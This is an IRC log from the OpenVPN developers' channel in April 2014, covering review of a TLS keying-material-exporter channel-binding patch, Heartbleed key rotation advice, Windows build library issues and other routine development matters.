13:37 < n13l> if not. you are safe, identified and authenticated 13:38 <@dazo> In regards to extending the plug-in API (from a general point of view), as long as we don't provide secrets which only the OpenVPN core should know about, I'm quite open to extending it ... I don't want anyone to come up with a clever plug-in which could extract private keys (to really take an extreme example) 13:38 < n13l> and because of binding key is crypto derivate then cant be use for compromise tls channel 13:38 <@dazo> right 13:38 < n13l> dazo: yeye exactly! it's a derivate 13:38 < n13l> that's the whole point of that keying material exporter 13:38 <@dazo> that's what I meant :) You just said it better :) 13:39 <@dazo> I like what I see more and more :) 13:39 < n13l> ok goin to finish it. test it and then submit :) 13:39 <@dazo> perfect! 13:40 <@dazo> btw ... when I get started with the krb stuff for real ... it might be the plug-in API will be extended even a bit more. There are some challenge-response protocols in the wire protocol which is currently only available via the management interface (a plain text TCP port) 13:41 <@dazo> If we're getting this completed in a way which doesn't scare the others, I hope we can manage to get this into openvpn 2.4 (which is still being worked on) ... but I promise nothing :) 13:42 < n13l> dazo: but maybe you can do it more independently 13:42 <@dazo> yeah ... but it will probably make it easier to accept your patches as well, when they see others will make use of these features as well 13:42 < n13l> dazo: i mean these keyin material derivate are used for example for authenticating upper layer in GTP on secured transport layer 13:42 <@dazo> agreed 13:43 < n13l> it's very powerfull and secure because you can avoid authentication on upper layer 13:43 <@dazo> Exactly 13:43 < n13l> http is good example with these broken and usually prone to attack cookies and/or session ids (state information) 13:43 <@dazo> btw ... next time there's a developers meeting (after your patch has been send to the ML) ... it would be good to discuss it there, with james as well ... if he gives it a green light, nobody else can say anything else :) 13:44 < n13l> without confidental transport layer (secured and authentificated) 13:44 < n13l> all these user/pass related authentication is pretty funny 13:44 <@dazo> :) 13:45 < n13l> i will glad join when patch is ready :) 13:45 <@dazo> sounds good :) 13:45 <@dazo> n13l: one thing I just noticed 13:45 < n13l> btw i doin this because i would like to replace cisco vpn with stronger authentication on top of openvpn 13:46 <@dazo> you do some variable declarations "in between" in the code ... MSVC (which we need to support) isn't happy about such things 13:46 <@dazo> so all variable declarations should be done at the top 13:46 < n13l> ahh ok 13:46 <@dazo> we've stumbled across that a few times too many :) 13:47 < n13l> i know that case 13:47 < n13l> i for example like so much c99 struct init. like struct a a = (struct a) { .attr = 1, .lala = 2 } 13:48 < n13l> many times i must rewrite that because of some evil C++ include that inlined code ;) 13:48 <@dazo> right ... I did that mistake when I wrote the v3 plug-in api .... 13:48 <@dazo> btw ... (I'm reading through a bit more carefully now) 13:49 <@dazo> ASSERT(ssl_sess != NULL); 13:49 <@dazo> ASSERT(id != NULL); 13:49 < n13l> i didnt compile it yet :) 13:49 <@dazo> those asserts ... is this so critical that it should kill off the openvpn process? 13:49 < n13l> finishin that binding key and then i goin to debug and est 13:49 < n13l> but assert should be enabled only in debug right ? 13:50 <@dazo> or would it be more appropriate to use a critical error message and exit more cleanly, or perhaps just kill off that single client? 13:50 <@dazo> those asserts will kill the process, iirc 13:50 < n13l> hmm well ok will replaced that with critical errors 13:51 < n13l> well when alloca fail for example then it's usually nothing better to do then exit 13:51 <@dazo> ASSERT() is a macro for assert_failed() ... which does a msg(M_FATAL ...) call, which ensure openvpn stops 13:52 <@dazo> (assert_failed() is in error.c) 13:52 < n13l> but you are right that sess id can be null for more reasons then alloc() failing 13:52 <@dazo> yeah, I don't mind openvpn dying, if it is for the right reasons 13:53 < n13l> ok thx for comments. goin to finish and will recode these asserts() :) 13:54 <@dazo> also notice the #else block in struct openvpn_plugin_args_func_in .... that's to ensure the struct size doesn't change if SSL is enabled or not 13:54 < n13l> ahh ok thx. will add 2 members 13:55 <@dazo> I think that was all for now :) 13:55 < n13l> err 4 13:55 < n13l> ;) 13:55 * dazo read 4 :)( 13:55 < n13l> see you later (i bealive soon ) :) 13:55 <@dazo> cool! 15:04 <@plaisthos> _bt: tls-auth [inline] 0 is wrong 15:04 <@plaisthos> _bt: that should be key-direction 1 15:07 <@plaisthos> _bt: that tls_auth [inline] 1 works is an artificate of the parser 15:19 -!- dazo is now known as dazo_afk --- Day changed Sat Apr 12 2014 03:44 <@syzzer> n13l, dazo_afk: sorry, wasn't around much yesterday, and won't be this weekend either... But I see you mostly discussed on the plugin API, which is dazo's domain anyway ;) 03:49 <@syzzer> I'm still not clear on the reason to not do authentication in TLS itself for OpenVPN, but especially when it's a plugin I'm less worried on accepting changes. My only worry at this point is that I do not want to allow skipping TLS server authentication. There's enough features that allow users to align a gun with their foot already, lets not add more :) 03:51 <@syzzer> sorry, have to leave again now. Interested to see patches :) 14:12 <@plaisthos> shipping opnssl with openvpn doubles the android apk from 2,4 to 4,9 MB :/ 14:15 <+krzee> how bout polar? 14:16 <@cron2> polar is lacking functionality 14:16 <+krzee> not much, at least not much thats documented on the wiki 14:17 <@plaisthos> krzee: that would break at least pkcs12 14:17 <+krzee> pkcs12, capath, windows crypto api, management external key support (whatever that means), x.509 alt usernames fields 14:18 <@plaisthos> krzee: yeah external key management support is needed for my app 14:18 <+krzee> how does pkcs12 work on android now, imports into inline config as pkcs12? 14:18 <+krzee> oh 14:18 <+krzee> is "external key management" inline certs? 14:18 <@plaisthos> krzee: as inline or pkcs /foo/bar/baz 14:18 <@plaisthos> krzee: no 14:19 <@plaisthos> krzee: it is certificates over management 14:19 <+krzee> interesting? and android uses that? 14:19 <@plaisthos> krzee: COMMAND -- rsa-sig (OpenVPN 2.3 or higher) 14:19 <@plaisthos> in management.txt 14:19 <@plaisthos> krzee: yes. You have to use that if you do not have the private key 14:20 <@plaisthos> some devices even store the keys in hardware 14:20 <@plaisthos> like a lot of the Nexus devices and my Xperia Z1 compact 16:52 < n13l> syzzer: world moving to portable devices (smartphones) etc and if there's some confidental channel allready you simple can use it for authenticating other channels (like tls/vpn) and skip these CA and related management (expiration, revocation etc) 16:54 < n13l> and of course it's more secure if you private key is attached to hw device prividing set of crypto operations and with QR code you can authenticate without direct connection such device and/or moving you private data to desktop/server 19:47 <+krzee> plaisthos, so if polar had external key management and pkcs12, would it be fit to replace openssl in android? 19:47 <+krzee> and if so, how much more would be needed to replace it by default other places? 19:52 <@pekster> Depends a bit on supported ciphers too; today with polarssl you can't use all the same crypto features you get with openssl 19:52 <@pekster> Doesn't matter unless your client configs are set to require a feature the client's polarssl doesn't support of course 19:54 <+krzee> and openssl would still be an option 19:54 <+krzee> hmm, i guess not as much in android as others --- Log closed Sat Apr 12 20:14:40 2014 --- Log opened Mon Apr 14 09:45:50 2014 09:45 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 09:45 -!- Irssi: #openvpn-devel: Total of 17 nicks [8 ops, 0 halfops, 1 voices, 8 normal] 09:45 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 09:45 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 09:59 <@cron2> mattock: I just got a user report that +2.3.2-I004-i686.exe doesn't work, it complains about "Der prozedureinsprungpunkt "CRYPTO_memcmp" +wurde in der DLL nicht gefunden." - seems it is unhappy with it's libraries 09:59 <@cron2> I'm just stating this here - have told the user to go and use 2.3.3-I002, let's see 10:00 <@cron2> win7/32 10:00 <@mattock> cron2: well, I tested both installers and got no complaints 10:00 <@mattock> well, that I did not test 10:00 <@mattock> only win7/64-bit 10:00 <@mattock> and winxp/32-bit 10:00 <@cron2> well, it really should work then... 10:01 <@cron2> (did you just test the installer, or actually run openvpn? I assume you tested openvpn as well, but since you said "tested installers", I'm asking...) 10:01 <@mattock> maybe the user has some residue from old openvpn installations? 10:01 <@mattock> like an old openssl library or something? 10:01 <@cron2> could well be 10:01 <@mattock> I always test both service and openvpn-gui 10:01 <@mattock> basic smoketests 10:01 <@mattock> so this kind of problem wouldn't get through 10:02 <@cron2> ok, thanks. Told him to go and reboot :-) 10:02 <@mattock> that's always a good thing to try :P 10:03 <@mattock> if that does not work, I'd uninstall openvpn, make sure that C:\Program Files\OpenVPN\bin\ directory does not contain anything and then reinstall 2.3.2 / 2.3.3 11:01 -!- trispace [~rf@unaffiliated/trispace] has quit [Quit: trispace] 11:08 -!- dazo_afk is now known as dazo 11:10 <+krzee> if someone was vuln to hearbleed should they consider their auth-pass password vuln too? 11:12 <+krzee> at first i was thinking certs only? but i guess the pass has to be in memory... 11:12 <+krzee> on the client anyways 11:15 <@dazo> krzee: yes, I would definitely consider anything transported over a connection to be compromised 11:15 <@dazo> and also remember that re-issue certs based on the same private key is non-sense. You need to generate new private keys and then issue new certs based on that key 11:16 <+krzee> good point its obvious to me but should be said just in case its not obvious to the user 11:18 <@dazo> exactly why I mentioned it :) 11:18 <@dazo> it's easy to overlook that detail 11:18 <@dazo> (unless you know what you're doing) 12:22 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 12:23 < n13l> dazo! 12:23 < n13l> hey 12:23 <@dazo> n13l: hey! 12:23 < n13l> dazo: wanna see patch with one bug ? ;-) 12:23 <@dazo> sure! 12:23 < n13l> dazo: i reverted changes related to plugin interface for several reason 12:24 < n13l> sec goin tu push it online (there's bug because computer master secret is not the same for client and server - not sure why, but that code was used only for server before) 12:24 < n13l> s/computer/computed :) 12:25 <@dazo> ahh ... I'll leave it up to you to figure out that :) 12:26 < n13l> there's pretty strange behavior in openssl 12:26 <@dazo> :) 12:26 <@dazo> (no comments) 12:26 < n13l> openssl called gen_sessionid() and then remove that id from tls object 12:27 < n13l> (in comments: we set id to 0 because it's not needed when session cant be resumer and/or tls ticket is used) 12:27 < n13l> that's reason i generate own id. called channel_id which identifies tls session and lives across all negotiations 12:28 <@dazo> that makes sense 12:28 < n13l> dazo: https://github.com/n13l/aaa-sec/blob/master/build/patches/openvpn-binding-key.patch 12:28 <@vpnHelper> Title: aaa-sec/build/patches/openvpn-binding-key.patch at master · n13l/aaa-sec · GitHub (at github.com) 12:29 < n13l> dazo: fixing and testing that but it can give you quir overview what i did 12:29 < n13l> quick 12:30 < n13l> i derived binding key and channel id and pass them as an env to the plugin 12:30 < n13l> (anyway it will be only generated/derived in TLS_FINAL and handshake costs cpu anyway - so 2x times derivation and hex encoding is not something big there) 12:42 <@ecrist> anyone know why the openvpn gui icon changed, and if there's a way to use the old one? 12:44 <@cron2> ecrist: "because d12fk liked the new one better", and "only if you install gui v4" 12:46 <@ecrist> heh 12:49 <@dazo> n13l: please try to avoid reformatting source code like on line 560 in the pastbin 12:50 <@dazo> it's okay to do it if you add/change parameters ... but just plain reformatting can make it difficult to use git bisect in the future, due to different patch conflicts 12:52 <@dazo> also ... line 95 and 96 looks suspicious ... (clean-ups are fine, but maybe do it in a separate patch) 13:02 < n13l> dazo: ok, thx for comments. the point is i changed parameters and then made some reverts :) 13:03 <@dazo> no prob! :) 13:03 < n13l> dazo: goin to sleep abit. then fix accept ur related comments and post final patch :) 13:03 <@dazo> perfect! 13:03 < n13l> dazo: btw what you think about the changes in general ? 13:04 <@dazo> I'm still digesting it ... but a lot of it makes sense, I'll admit I haven't dug too much into the RFC details and the --keying-material-exporter-* options may result in some discussions on the ML 13:05 < n13l> dazo: these changes are on top of crypto later, so it should work same for openssl/and polarssl (there's only need to add relevent polarssl code for counting renegotiations) 13:05 <@dazo> yeah, I spotted that ... and that's great 13:21 <@cron2> aaaaargh *rant* the only polarssl versions in gentoo are 1.3.0, 1.3.4 and 1.3.5... 13:42 <@dazo> cron2: I've finally done some digging into #277 (--client-config-dir checks) ... it seems it's happening due to --user/--group being used, and the access to client-config-dir is done after dropping privileges ... Should we really dive that deep to hand-hold admins to check that the uid/gid is correct? After all, the error when it happens is pretty obvious (at least to me) 13:43 <@dazo> ugh ... the WARNING in the trac ticket was a suggested log warning 13:45 <@dazo> hmmm ... however, I'd expect an error like "Error opening configuration file" :/ 13:50 <@dazo> hmm okay ... it's actually a test_ccd() which strips this out 13:50 <@dazo> test_file() 13:56 <@cron2> opening ccd would need to distinguish between ENOFILE and EPERM, I'd say 13:57 <@cron2> ENOENT 13:57 <@cron2> and EACCESS, actually :) 14:01 <@dazo> yeah, except that we use _wfopen() on Windows and fopen() on *nix ... and I don't know how trustworthy the error reporting is in Windows 14:11 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 14:12 <@cron2> urgh, fopen 14:17 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:17 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:49 <@dazo> d12fk: cron2: can you try this stupid and crude test program and report what the errors you get? ... Esp. important testing it on Windows ... http://paste.fedoraproject.org/94130/39750491/ 14:49 <@dazo> oh ... chmod() need to be different on Windows probably :( 14:50 <@dazo> also change CHMOD_GID to a group id you're member of 14:50 <@dazo> (not your own the same as your user, if you have that) 14:52 <@dazo> A successful run should look like this: http://paste.fedoraproject.org/94133/39750511/ 14:54 <@cron2> dazo: what is this windows thing? 15:00 <@dazo> probably something very stupid, I presume :/ 15:00 <@cron2> what platform do you want me to run this on, besides windows? 15:00 <@dazo> *BSD :) 15:01 <@dazo> I've tested on Fedora (which should really cover all Linux distros) 15:02 <@dazo> (as the majority uses glibc, and the Linux kernels ABI shouldn't really change much in the aspects I'm testing here) 15:06 <@cron2> freebsd 7.4: 3x PASS 15:06 <@cron2> errno: 2 -> No such file or directory 15:06 <@cron2> errno: 13 -> Permission denied 15:06 <@cron2> errno: 13 -> Permission denied 15:10 <@dazo> consistent with Linux ... not unexpected, but nice to see :) 16:36 -!- dazo is now known as dazo_afk 18:06 -!- dazo_afk is now known as dazo 18:59 < n13l> wb 20:18 -!- riddle [riddle@us.yunix.net] has quit [Max SendQ exceeded] 20:19 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 20:19 -!- riddle [riddle@us.yunix.net] has quit [Max SendQ exceeded] 20:29 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 20:29 -!- riddle [riddle@us.yunix.net] has quit [Max SendQ exceeded] 20:35 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 20:42 -!- dazo is now known as dazo_afk 23:00 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 258 seconds] 23:04 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 23:04 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 23:04 -!- dazo_afk is now known as dazo 23:45 < n13l> dazo: good morning. are you here ? got it: https://github.com/n13l/aaa-sec/blob/master/build/patches/openvpn-binding-key.patch 23:45 <@vpnHelper> Title: aaa-sec/build/patches/openvpn-binding-key.patch at master · n13l/aaa-sec · GitHub (at github.com) --- Day changed Tue Apr 15 2014 00:49 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:49 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 00:49 -!- mattock_afk is now known as mattock 00:52 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 00:52 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:52 -!- mode/#openvpn-devel [+o mattock] by ChanServ 00:58 < n13l> dazo: plugin with TLS_FINAL was called in key_method_2_read() before server_random was generated for the TLS server end-point 00:59 < n13l> dazo: that's the reason why it's called at 2 places in the. key_method_2_read() for server and key_method_2_write() for client 01:01 < n13l> dazo: white spaced are fixed so the patch is much more easy to read :) still thinking about new method which handles real state of key agreement for both end points (server & client) because key_method_2_read() && key_method_2_write() using similar code related to key derivation 01:03 < n13l> dazo: key_method_final() or something. 01:03 < n13l> dazo: anyway patch works 01:29 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 01:29 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:23 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:23 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:26 <@mattock> d12fk: your openvpn-gui.exe fails for me with "Error opening registry for reading (HKLM\Software\OpenVPN). OpenVPN is probably not installer." 03:26 <@mattock> I assume the GUI version will show up even on a static key setup? 03:27 <@mattock> oh, and OpenVPN _is_ installed, and the GUI bundled with the installer works just fine 03:27 <@cron2> mattock: I don't think so, the peer-info is sent as part of the TLS handshake 03:27 <@cron2> static key -> no TLS 03:27 <@mattock> ah, ok 03:28 <@mattock> I will need to setup something more fancy then 03:51 <@mattock> cron2: any clue why I get these to my Git-master -based openvpn test server's logs, when connecting from Windows 7 + 2.3.3: 03:51 <@mattock> Tue Apr 15 11:50:40 2014 us=75754 client1/192.168.15.19:63939 MULTI: bad source address from client [fe80::1c9d:ed33:c9c2:f012], packet dropped 03:51 <@mattock> the log is flooded by these at verb 4 03:52 <@cron2> because our IPv6 implementation is a bit half-hearted 03:52 <@mattock> ok, so that's to be expected 03:52 <@cron2> fe80:: is "link-local stuff", which is used for things like duplicate address detection, DHCPv6(-discovery), etc. 03:52 <@mattock> yep, that looked familiar 03:52 <@cron2> the server has no concept of fe80:: (yet), so for the server it's "a client is spoofing!!" 03:53 <@cron2> I think I need to submit a patch to get rid of that warning, for the time being, because it *is* highly annoying if you search something in the logs 03:53 <@mattock> agreed 03:53 <@cron2> "as if I had nothing else to do" 03:53 <@mattock> :D 03:53 <@cron2> mattock: is the server advertising IPv6 (pushing ifconfig-ipv6)? 03:54 <@mattock> anyhow, my test setup for GUI version checks is ready, so that once d12fk has a GUI that does not crash at startup I can do the testing 03:54 <@mattock> cron2: no 03:54 <@mattock> the config is actually the same as in sample server config in the howto 03:55 <@cron2> mattock: then I need to go test myself :-) there seems to be something in 2.3.2 or 2.3.3 that upsets win7-64 *if* IPv6 is used - maybe it's related to the store=active patch, maybe not (but I thought that this was only win8). 03:55 * cron2 goes testing... 03:55 <@mattock> I can test with 2.3.2-I004 if you want 03:55 <@mattock> and see if the problem goes away 03:56 <@mattock> I still have about 10-15 minutes before lunchtime 03:56 <@mattock> or and older version still, if 2.3.2 has that patch 03:56 <@cron2> mattock: you'd need a server that pushes IPv6 03:56 <@cron2> and the patch is only in 2.3.4 :-) 03:57 <@mattock> ah, ok 03:57 <@cron2> but I'm not sure if it's that issue at all (in which case I can just tell the affected users "wait a few days, then use 2.3.4") or something else ("go debug") 04:09 <@cron2> ok, non-reproduceable on win7/32 (but I expected that) 04:21 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:26 <@cron2> non-reproduceable on win7/64 with the 64bit installer ("it just works!") 04:28 <@cron2> oh, mattock: if you uninstall openvpn while the gui process is still running, it will leave behind bin\openvpn-gui.exe and bin\ssleay.dll, and not stop the gui. This should be fixed (as well as killing a running gui process on update) 04:28 <@cron2> mattock: do you want a trac for that? 04:50 <@d12fk> mattock: my windows build env seems to be substantially flawed.. =? 04:50 <@d12fk> will try to set up a new one later today 04:55 <@cron2> woot 04:55 <@cron2> AIX learned tap devices 04:55 <@cron2> (no tun, but still) 05:05 <@vpnHelper> RSS Update - tickets: #390: windows installer needs to kill gui on upgrade or uninstall <https://community.openvpn.net/openvpn/ticket/390> 05:12 <@cron2> grrr, seems my users just unchecked [ ] IPv6 in the tap network config 05:44 < _bt> hello 05:45 < _bt> it seems (at least for me) that on win7/32 some dependencies are missing when installers are built using openvpn-build 05:45 < _bt> libwinpthread-1.dll and libgcc_s_sjlj-1.dll 05:46 <@plaisthos> cron2: AIX is still alive? 05:53 <@cron2> plaisthos: defying all attempts by IBM to kill it, yes 06:12 <@mattock> cron2: yes, I did have a look at the options for killing openvpn-gui.exe during uninstallation, and it is probably doable 06:14 <@mattock> _bt: libwinpthread is not supposed to be there, nor is libgcc_s_Sjlj 06:14 <@mattock> pthread support was ditched a while back, because it never worked 06:14 <@mattock> not sure about libgcc, but I don't have it on my win7 64-bit installation either 06:14 <@cron2> mattock: cool 06:14 <@mattock> and openvpn just works (tm) 06:14 < _bt> on 64 bit its ok 06:14 < _bt> on 32 the exe fails to start with missing dlls 06:15 < _bt> thats with a clean openvpn-build 06:15 <@mattock> are you sure there is no residue from openvpn installs on the win7 box you're using? 06:15 <@mattock> in other words, is openvpn a clean install? 06:15 < _bt> the registry may not be 06:15 < _bt> but the openvpn dir is 06:21 <@mattock> I don't have libgcc or libpthread on winxp 32-bit either 06:21 <@mattock> which version of openvpn are you trying to build with openvpn-build? 06:21 <@mattock> it will only work for openvpn-2.3.0 and later 06:22 <@mattock> or to be more exact, 2.3-rc2+ (I think) 06:22 < _bt> 2.3.3 06:22 < _bt> latest openvpn-build from git 06:22 <@mattock> does the openvpn executable complain about libpthread also? 06:23 < _bt> its only the openvpn executable, sorry, i should have mentioned that. im not actually using the nsis installer it creates 06:23 <@mattock> ok 06:23 <@mattock> anyways, pthread code was remove in 2010 by commit 7aa6c12a4424d00 06:24 <@mattock> long before any 2.3.x was released 06:24 < _bt> could it be my build environment 06:24 <@mattock> what does openvpn.exe --version say? 06:24 <@mattock> I'd guess you've built 2.2 or something 06:24 <@mattock> because those might still have the pthread stuff in them 06:25 < _bt> no, deffo 2.3 06:25 < _bt> 2.3.3 06:25 <@mattock> odd 06:25 <@mattock> what does you generic/build.vars say? 06:26 < _bt> OPENVPN_VERSION="${OPENVPN_VERSION:-2.3.3}" 06:27 < _bt> im going to kill my build environment and set it up again 06:51 * cron2 would really like to know who goes around in this company and turns off IPv6 on tap adapters 06:51 < _bt> hi mattock 06:51 <@cron2> *curse* *spit* 06:51 < _bt> i've tested with a clean environment and am still seeing those missing dlls 06:52 <@cron2> _bt: are you trying to build 2.3.3 or git master? which script exactly are you calling? 06:53 < _bt> 2.3.3 and build-complete from windows-nsis 07:06 < n13l> !meeting 07:06 < n13l> !meetings 07:06 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 07:12 <@dazo> cron2: install bash-logger :) 07:35 < n13l> dazo: hello :-) got few minutes ? 07:35 <@dazo> n13l: sure! 07:36 * dazo is catching up on scrollbacks ... and reading rfc5705 more carefully 07:36 < n13l> dazo: hihi ;-) 07:36 < n13l> dazo: calling TLS_FINAL were not real final state! (for the tls server end-point) so little change was required there 07:37 <@dazo> :) 07:50 < n13l> dazo: btw binding_key is exported when *.ovpn contains following: http://pastebin.com/5k8LYziJ 07:57 <@dazo> n13l: why is the -lenght option needed? 07:58 <@dazo> I'm looking at it from a users perspective, having user/admin experience in mind and not the technical "developer" mindset right now 08:03 <@cron2> mattock: while at it, could you enhance the trac to put options for "version 2.3.3" and "milestone 2.3.5" in? 08:04 <@mattock> versions 2.3.3, 2.3.4 and 2.3.5 are already there 08:05 -!- debbie10t [~ma1com10t@host-92-20-44-143.as13285.net] has joined #openvpn-devel 08:05 <@mattock> milestones I'll check 08:05 < debbie10t> hi, what is the current state of V233 for ubuntu .. I cannot get any updates from swupdate.openvpn -- Please see this post: https://forums.openvpn.net/post40253.html#p40253 08:06 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN 2.3.3 released : Announcements (at forums.openvpn.net) 08:06 <@mattock> milestones 2.3.5 and 2.3.6 added 08:11 <@mattock> debbie10t: answered the forum post 08:12 < debbie10t> thanks SS 08:15 < _bt> mattock / cron2: i've done more delving into this dll issue 08:15 <@cron2> danke 08:15 <@mattock> _bt: did you find anything interesting? 08:15 < _bt> seems LIBEAY32.DLL is using libgcc_s_sjlj-1.dll 08:16 <@cron2> _bt: where is that library coming from? self-compiled or binary? 08:16 < _bt> it is being built by openvpn-build 08:16 < _bt> i am not doing anything custom here apart from 2 patches in the build tree 08:17 < _bt> the functions in the missing DLL are __udivdi3 and __umoddi3 08:19 <@mattock> where is the libgcc_s_sjlj-1.dll located? I can't find it under windows-nsis/tmp on my build box 08:19 <@mattock> are you building this on a Linux box as opposed to say, Cygwin? 08:19 < _bt> its not located there for me either 08:19 * cron2 smells different mingw-gcc versions 08:20 <@mattock> something odd is going on, and it's not directly related to openvpn-build 08:20 < _bt> if i copy it from /usr/lib/gcc/i686-w64-mingw32/4.8/libgcc_s_sjlj-1.dll 08:20 < _bt> along with the other missing dll - things work 08:20 < _bt> yes i am building on linux 08:20 <@cron2> yeah, that smells like it 08:21 <@mattock> _bt: which version of mingw are you using? 08:21 <@cron2> I build with mingw-gcc 4.6, and the way gcc does "libgcc things" has changed ->4.8 - bit me recently on AIX as well 08:21 < _bt> this was working fine with 2.3.2 though 08:21 < _bt> maybe mingw updated on my system? 08:21 <@mattock> possibly 08:21 <@cron2> _bt: any updates since then? 08:21 <@cron2> yeah, that would be my guess 08:22 <@mattock> do you guys know of a command-line mail user agent which could be configured to use remote MTA's for sending mail? 08:22 <@d12fk> -static-libgcc solves things 08:23 <@d12fk> just add it to the Configure line of openssl 08:23 <@d12fk> it will be passed down to the linker 08:24 < _bt> no updates to mingw system 08:24 < _bt> so my apt log says 08:24 < _bt> will try, d12fk 08:26 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 250 seconds] 08:28 <@dazo> d12fk: did you see my little file test yesterday? would you have a chance to test it out on windows and see how it behaves? 08:28 <@dazo> (trying to fix trac #277) 08:29 <@d12fk> yes, but havent had time to compile. there's a dazo.c awaiting gcc on the hd 08:31 <@dazo> d12fk: thx!! ... no urgencies ... I'm juggling enough balls at the moment :) 08:33 <@d12fk> dazo: http://pastebin.com/K6whCrfm 08:34 <@dazo> d12fk: any possibility you can test wrong ownership? 08:35 <@d12fk> dazo: anything, just remotely control me 08:36 <@dazo> (interesting ... where *nix gives -EACCESS, Windows gives -ENOENT) 08:37 <@dazo> it's the 3rd test case which is failing to execute, most likely due to chown() 08:41 <@d12fk> it might be that a regular user does not have the permission to change object ownership 08:42 <@dazo> d12fk: that's right ... I change the group owner in fact, and set the mode to be 070 on the directory 08:42 <@dazo> but the running user is member of that group as well 08:43 <@d12fk> oh. i don't know how well that maps to the windows DACL methology 08:43 <@d12fk> i have time for more test later today 08:43 <@d12fk> ping be 18.30 maybe? 08:43 <@d12fk> b->m 08:44 <@dazo> oh, thx! will ping you! 08:48 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 08:50 < _bt> d12fk: cron2: mattock: adding -static-libgcc to configure line of openssl has solved the issue. 08:50 < _bt> EXTRA_OPENSSL_CONFIG="${EXTRA_OPENSSL_CONFIG:--static-libgcc}" < i added this to build.vars - will that need updating at your end? 08:52 < n13l> dazo: have you got any comments related last version of channel binding patch ? 08:52 -!- dazo [~dazo@openvpn/community/developer/dazo] has left #openvpn-devel [] 08:52 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:52 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:53 <@dazo> ugh ... ctrl-w in the wrnog window 08:53 <@dazo> n13l: I'm still reading through it ... just RH work required some attention too :) 08:53 <@dazo> n13l: just feel I need to understand that RFC slightly better ... to understand those new options you provide 08:54 <@dazo> (but I have a meeting now, will be out for about an hour) 08:57 < n13l> dazo: oki, thx for you attention :) 09:31 <@mattock> _bt: re: EXTRA_OPENSSL_CONFIG: I don't think we need to modify the global settings, as the builds work just fine 09:31 <@mattock> what could be useful is have a commented out line with the --static-libgcc line in there for others who might have this issue 09:31 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 09:32 <@mattock> or maybe just a comment like "use --static-libgcc if openvpn.exe fails to start with this error message: " 09:32 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 09:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:32 < _bt> yeah :) 09:32 <@mattock> _bt: can you provide a patch which adds such a comment? or maybe fork the repo at github and issue a pull request? 09:33 <@mattock> cron2: I'm pretty close to getting the openvpn-build buildtest.sh script to send email to you (and me) via my samuli@openvpn.net account 09:34 <@mattock> heirloom-mailx is able to send mail from the command-line through a remote MTA, which I needed in this case 09:34 <@mattock> just running some tests, after which I'll make the script send mail to you too 09:38 <+krzee> i always did that by running a forwarding mta localhost only and using the mail command? your way sounds better 09:44 <@mattock> krzee: yep, I didn't want to mess with my perfectly functional local-delivery-only postfix setup 09:44 <@mattock> which ruled out msmtp and such 09:45 <@mattock> it took some time to find the heirloom-mailx, but it seems quite powerful 09:45 <@mattock> basically you just setup ~/.mailrc with the account info and define the account with -A flag 09:45 <@mattock> besides that it's just like mail(x) command 09:53 -!- debbie10t [~ma1com10t@host-92-20-44-143.as13285.net] has quit [Ping timeout: 255 seconds] 10:17 < _bt> mattock: pull req sent 10:20 <@mattock> _bt: ok, I'll check out after dinner 10:56 <@mattock> cron2: you should have received mail from build-snapshot 10:57 < _bt> mattock: is the gui you package with on git? id like to fork that as well 10:58 <@mattock> the GUI is based on these sources: https://sourceforge.net/projects/openvpn-gui/ 10:58 <@vpnHelper> Title: OpenVPN GUI | Free Security & Utilities software downloads at SourceForge.net (at sourceforge.net) 10:58 <@mattock> I typically just download the latest sources, run "autoreconf -vi", rename the dir to openvpn-gui-<version> and package that up as openvpn-gui-<version>.tar.gz 10:59 <@mattock> unless d12fk has published a source package on SF.net 10:59 < _bt> will it ever make it to git? 11:02 <@mattock> it is on Git, but not openvpn-build or openvpn git 11:02 <@mattock> it is in it's own Git repo 11:02 < _bt> can you link me? i can't find it 11:03 <@mattock> http://sourceforge.net/p/openvpn-gui/code/ci/master/tree/ 11:03 <@vpnHelper> Title: OpenVPN GUI / Code / [060da9] (at sourceforge.net) 11:04 < _bt> ah its on sf 11:04 < _bt> sorry 11:05 <@mattock> yep 11:06 <@mattock> a completely separate project, even though it's the de facto standard Windows GUI 11:06 <@d12fk> _bt: are you planning on working on the gui? 11:06 < _bt> yes 11:06 < _bt> id like to tidy it up based on my experiences with it 11:06 < _bt> whether that will help anyone is another matter though 11:06 < _bt> heh 11:07 <@d12fk> what are you plans 11:07 